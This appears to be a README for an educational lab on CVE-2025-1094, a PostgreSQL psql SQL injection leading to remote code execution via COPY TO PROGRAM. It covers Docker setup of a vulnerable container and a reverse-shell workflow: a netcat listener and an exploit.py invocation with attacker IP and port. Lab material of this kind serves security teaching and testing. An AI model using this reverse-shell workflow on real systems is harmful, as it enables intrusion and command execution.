
Hands-on lab to exploit CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via COPY TO PROGRAM, with Docker setup and reverse shell payload.
⚠️ Disclaimer
This lab is for educational and research purposes only.
Do NOT use any of the information or techniques demonstrated here on systems you do not own or have explicit permission to test. Unauthorized use of these methods may violate laws and result in severe penalties.
CVE-2025-1094 is a critical vulnerability affecting PostgreSQL’s interactive tool psql, discovered in version 14.15 and earlier.
It allows attackers to perform SQL Injection which can lead to Remote Code Execution (RCE) under certain conditions.
The vulnerability arises from improper handling of malformed UTF-8 input in psql.
Due to insufficient validation, attackers can inject arbitrary SQL or meta-commands like ! (shell escape), and even exploit COPY ... TO PROGRAM to run system commands.
COPY TO PROGRAM: Attackers can execute arbitrary shell commands such as:
/etc/passwd)psql with untrusted input (e.g., BeyondTrust PRA, Remote Support) is particularly exposed.Install Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 Reboot or log out & log in again to apply Docker group permissions.
Install Python and dependencies:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ Ensure network connectivity between attacker and victim machines.
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
After starting the container, verify everything is working with the following commands:
1. Check that the PostgreSQL container is running:
sudo docker ps
📌 You should see a container named vulnerable_postgres listening on port 5432.
2. Access the container and inspect the database:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
Inside the psql shell, run:
SELECT * FROM users;
Expected output:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
Exit from psql:
\q
✅ Now your vulnerable PostgreSQL instance is running and ready for exploitation.
3. Turn the container back on
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM to execute arbitrary shell commands💡 Tip: You can snapshot this vulnerable container and reuse it later without rebuilding the environment.